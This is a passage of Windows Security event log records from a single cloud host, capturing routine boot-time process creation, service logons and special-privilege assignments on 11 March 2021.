	HyperVisor Debugging:	No
03/11/2021 11:16:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245057
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x238
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x228
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245056
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x230
	New Process Name:	C:\Windows\System32\wininit.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245055
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x228
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x18c
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245054
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1e8
	New Process Name:	C:\Windows\System32\csrss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:30 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245053
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1e0
	New Process Name:	C:\Windows\System32\smss.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x18c
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245067
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245066
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		NETWORK SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E4
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245065
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245064
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4902
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Audit Policy Change
OpCode=Info
RecordNumber=245063
Keywords=Audit Success
Message=The Per-user audit policy table was created.

Number of Elements:	0
Policy ID:	0x558F
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245062
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		0
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		-

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x4
	Process Name:		

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		-
	Authentication Package:	-
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4608
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Security State Change
OpCode=Info
RecordNumber=245061
Keywords=Audit Success
Message=Windows is starting up.

This event is logged when LSASS.EXE starts and the auditing subsystem is initialized.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245060
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2b8
	New Process Name:	C:\Windows\System32\lsass.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x230
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245059
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x2b0
	New Process Name:	C:\Windows\System32\services.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x230
	Creator Process Name:	C:\Windows\System32\wininit.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:31 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Process Creation
OpCode=Info
RecordNumber=245058
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x26c
	New Process Name:	C:\Windows\System32\winlogon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x228
	Creator Process Name:	C:\Windows\System32\smss.exe
	Process Command Line:	

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245080
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245079
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245078
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245077
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245076
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7

Privileges:		SeAssignPrimaryTokenPrivilege
			SeTcbPrivilege
			SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeAuditPrivilege
			SeSystemEnvironmentPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245075
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		SYSTEM
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245074
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
			SeImpersonatePrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Logon
OpCode=Info
RecordNumber=245073
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		EC2AMAZ-JQSN6NR$
	Account Domain:		WORKGROUP
	Logon ID:		0x3E7

Logon Information:
	Logon Type:		5
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\LOCAL SERVICE
	Account Name:		LOCAL SERVICE
	Account Domain:		NT AUTHORITY
	Logon ID:		0x3E5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Process Information:
	Process ID:		0x2b0
	Process Name:		C:\Windows\System32\services.exe

Network Information:
	Workstation Name:	-
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245072
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		Window Manager\DWM-1
	Account Name:		DWM-1
	Account Domain:		Window Manager
	Logon ID:		0xA138

Privileges:		SeAssignPrimaryTokenPrivilege
			SeAuditPrivilege
03/11/2021 11:16:32 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=EC2AMAZ-JQSN6NR
TaskCategory=Special Logon
OpCode=Info
RecordNumber=245071
Keywords=Audit Success
